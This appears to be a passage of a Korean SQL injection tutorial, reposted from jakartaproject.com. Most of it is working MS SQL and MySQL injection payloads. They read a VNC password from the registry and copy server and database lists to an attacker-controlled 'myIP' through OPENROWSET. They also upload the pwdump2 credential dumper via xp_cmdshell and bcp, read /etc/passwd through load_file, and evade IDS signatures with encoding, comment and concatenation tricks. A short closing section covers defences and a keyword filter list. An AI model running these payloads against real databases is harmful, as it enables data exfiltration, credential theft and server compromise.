exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\ORL\WinVNC3\Default',@value_name='Password', 
@value = @out output 
select cast(@out as bigint) as x into TEMP--

and 1 in (select cast(x as varchar) from temp) --

 


7) 확장된 효과

▪ 다른 DB서버에 연결 하기

 

i. MS SQL에 링크된 서버를 찾기

select * from sysservers

 

 

 

 

ii. OPENROWSET 명령을 사용하여 쉽게 다른 서버를 접근 할 수 있다.

 

iii. 같은 전략으로 OPENROWSET을 이용한 리버스 연결로 쉽게 접근 할 수 있다.

 

▪ 링크된 서버에도 접속이 가능하다.

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_sysservers')

select * from master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysservers')

select * from LinkedServer.master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysdatabases')

select * from LinkedServer.master.dbo.sysdatabases

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


 

▪ 저장된 프로시저를 통한 원격 접속 실행

만약에 원격 서버에 저장된 프로시저 실행이 허용되어 있다면 가능할 것이다.

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *

from mydatabase..hacked_sysservers')

exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers'

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from

mydatabase..hacked_sysdatabases')

exec Linked_Server.master.dbo.sp_executesql N'select * from

master.dbo.sysdatabases'

 

 

 

 

 

 

 

 

 

 

 

 

 

 


 

▪ Reverse 연결을 통한 파일 업로드

▪ '; create table AttackerTable (data text) --

▪ '; bulk insert AttackerTable --
from 'pwdump2.exewith (codepage='RAW')

▪ '; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN, MyIP80' --

▪ '; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor -PPass123' --

 


▪ SQL Injection 통한 파일 업로드

만약 DB서버가 인터넷 연결이 되지 않더라도, 여전히 파일은 업로드 될 수 있다. 그러나 파일은 반드시 16진수 그리고 Query 문자의 일부로 보내어 져야만 한다. 파일은 반드시 각 4000 byte로 나누어 져야 한다.

 

) 간단한 SQL Injection 파일 업로드

Step 1. 먼저 원격에서 hex를 binary로 변환 해줄 프로시저가 injection되어야 한다.

Step 2. 다음 binary를 hex 조각으로 Injection 해야 한다.

 

' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000…
← 8000개의  hex 문자(4000byte) →…0000000000000000000
' exec master..sp_hex2bin @hex, @bin output ; insert master..pwdump2 select @bin --

 

 

Step 3. binary를 연결시키고, 파일을 디스크에 저장 할 수 있다

 

 

3 회피 기술

 

3.1 개요.

입력 값 검증 우회 그리고 IDS 우회 기술은 매우 비슷하다. Snort 기반의 SQL Injection 탐지는 부분적으로 가능하다. 그러나 이것은 “sinatures”에 의존한다. ”signatures”은 쉽게 피할 수 있다. 입력 값 검증, IDS 탐지 그리고 견고한 DB, OS 설정은 반드시 같이 사용 되어져야 한다.

 

3.2 IDS “signature” 우회

 

1) ‘OR 1=1 “signature”우회하기

 아래와 같은 문자를 삽입해서 우회 할 수 있다.

▪ ' OR 'unusual' = 'unusual'

▪ ' OR 'something' = 'some'+'thing'

▪ ' OR 'text' = N'text'

▪ ' OR 'something' like 'some%'

▪ ' OR 2 > 1

▪ ' OR 'text' > 't'

▪ ' OR 'whatever' IN ('whatever')

▪ ' OR 2 BETWEEN 1 AND 3

 

 

 

 

 

 

 

 

 


 

3.3 입력 값 검증 우회 하기

▪ PHP addslashes() 함수를 사용하는 사람은 문자열을 벗어 날수 있다.

single quote (')

double quote (")

backslash (\)

NUL (the NULL byte)

 

 

 

 

 


 

▪ 숫자 필드에서 위의 문자로 대체 함으로써 쉽게 우회 가능하다.

 

3.4 회피와 우회

 

i. 아래의 매개변수 인코딩 방법으로 IDS, 입력 값 검증을 우회 할 수 있다.

▪ URL encoding

▪ Unicode/UTF-8

▪ Hex enconding

▪ char() function

 

 

 

 

 


 

ii. MySQL 입력 값 검증은 Char()를 사용함으로써 우회 할 수 있다.

▪  인용 부호를 제외한 Inject  (string = "%"):

' or username like char(37);

▪ 인용 부호를 제외한 Inject (string = "root"):

' union select * from users where login = char(114,111,111,116);

▪ Load files을 이용한 unions 사용 (string = "/etc/passwd"):

' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

▪ 존재하는 파일을 체크(string = "n.ext"):

' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));


 

iii. 공백을 이용한 IDS Sinature 우회

▪ UNION SELECT Signature와 UNION[탭]SELECT signature은 다르게 인식된다

▪ 탭, 캐리지 리턴, 라인 피드, 공백이 주로 이용 된다.

▪ 몇몇 IDS 는 공백처리를 무시하므로 공백을 생략하는 것이 좋은 방법이 될 수도 있다.

'OR'1'='1' (공백 없이) 은 에러 없이 처리 되어 진다.

 

iv. 주석 처리를 이용한 IDS Signature 회피

▪  /* … */ 은 SQL99에서 여러 줄 을 주석 처리 할 때 사용되는 기호 이다

▪ UNION/**/SELECT/**/

▪ '/**/OR/**/1/**/=/**/1

▪ 여러 개의 필드에 걸친 Injection을 허용한다

USERNAME:  ' or 1/*

PASSWORD:  */ =1 

 

 

 

 

 

 

 

 


 

v. 스트링 연결자를 이용한 IDS Signature 우회 

▪ 아래와 같이 텍스트 연결 할 수 있고, 특정한 DB 명령을 사용 할 수 있다.

▪ My SQL

UNI/**/ON SEL/**/ECT

▪ Oracle

'; EXECUTE IMMEDIATE  'SEL' || 'ECT US' || 'ER'

▪ MS SQL

'; EXEC ('SEL' + 'ECT US' + 'ER')

 

 

 

 

 

 

 

 


 

vi. 변수를 이용하여 IDS, 입력 값 검증 우회 하기

▪ 변수를 이용

; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER');

EXEC (@x)

EXEC SP_EXECUTESQL @x

▪ 헥사를 이용

; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e; EXEC (@x)

위의 명령어는 (‘)를 사용하지 않았다.

 

 

 

 

 

 

 

 

 

 

 

 


4 SQL Injection 대응 방안

4.1 개요

간단한 방법으로 입력 값 검증은 가장 중요한 부분 중에 하나 이다. 당신은 반드시 입력 값 검증을 모든 새로운 애플리케이션에 실시해야 한다. 그리고 당신은 존재하는 코드와 웹사이트를 조사해 봐야 한다. 추가적으로 서버를 견고하게 운영해야 한다. 데이터 베이스의 데이터 접근을 저장된 프로시저를 통하여 접근하고, 저장된 프로시저를 사용할 때 매개변수화 된 API를 이용하라. 모든 입력 값 검증은 일반적인 루틴을 이용하고, 최소한의 권한을 DB 사용자 에게 적용하라.

1) 입력 값 검증

각 필드를 위한 데이터 타입의 정의 되고, 정의된 타입만 허용 되어야 한다. 그리고 입력된 값의 검증을 위해서 필터를 사용해야 한다. 알려진 Injection 문자열에 대한 필터는 철저히 구현 되여야 한다. 아래와 같은 문자열은 반드시 제거 되어야 한다.

) “"select", "insert", "update", "shutdown", "delete", "drop", "--", "'"

2) 서버를 견고하게 운영하기

1. DB 최소권한의 유저로 운영하라.

2. 사용하지 않는 저장된 프로시저와 기능들은 제거하거나 관리자에게 제한된 접근 권한을 주어라.

3. 퍼미션을 변경하고, 공개된 시스템 객체에 접근을 제거 하라.

4. 모든 사용자 계정의 패스워드를 강화 시켜라

5. 미리 승인된 서버의 링크를 제거 하라.

6. 사용하지 않는 네트워크 프로토콜을 제거하라.

7. 신뢰할 수 있는 네트워크,웹 서버, 백업 서버만 접근을 허용하라.

 

4.2 탐지 및 제한시키기

SQL Injection 시도에 대한 탐지 원한다면, SQL Injection 시도를 로그에 남기고, 이 메일로 경고장을 보내고, IP차단 하고, 올바르지 않은 에러 메시지를 보내도록 설정하라. 이것들은 검증 스크립트에 코드와 되어야 한다.

 

4.3 결론

    SQL Injection 은 매혹적이고, 아주 위험한 취약점이다. 모든 프로그램 언어 그리고 SQL DB는 잠재적인 취약점을 가지고 있다. 보호 하기 위해서는 강력한 디자인, 정확한 입력 값 검증, 견고하게 서버를 운영 해야 한다.

 

 참조자료 및 문서

[1] Advanced SQL Injection, (http://www.owasp.org).


출처 : http://www.jakartaproject.com/

반응형

+ Recent posts